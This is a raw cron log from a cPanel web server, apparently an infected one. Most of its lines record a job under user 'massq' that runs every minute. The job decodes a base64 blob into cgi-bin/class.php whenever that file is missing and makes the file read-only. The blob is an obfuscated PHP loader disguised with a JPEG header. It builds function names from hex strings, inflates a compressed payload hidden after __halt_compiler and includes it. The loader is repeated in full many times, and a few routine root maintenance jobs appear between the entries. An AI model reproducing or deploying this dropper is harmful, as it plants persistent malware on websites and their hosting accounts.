Nov  9 12:35:01 server CROND[18572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:35:01 server CROND[18573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:35:01 server CROND[18574]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 12:36:01 server CROND[19448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:37:01 server CROND[20150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:38:01 server CROND[20756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:39:01 server CROND[21230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:39:01 server CROND[21231]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:40:01 server CROND[21922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:40:01 server CROND[21923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:40:01 server CROND[21924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:40:01 server CROND[21925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:41:01 server CROND[22805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:42:01 server CROND[23624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:42:01 server CROND[23625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:43:01 server CROND[24025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:44:01 server CROND[24932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:45:01 server CROND[25433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:45:01 server CROND[25434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:45:01 server CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:46:01 server CROND[26306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:47:01 server CROND[27128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
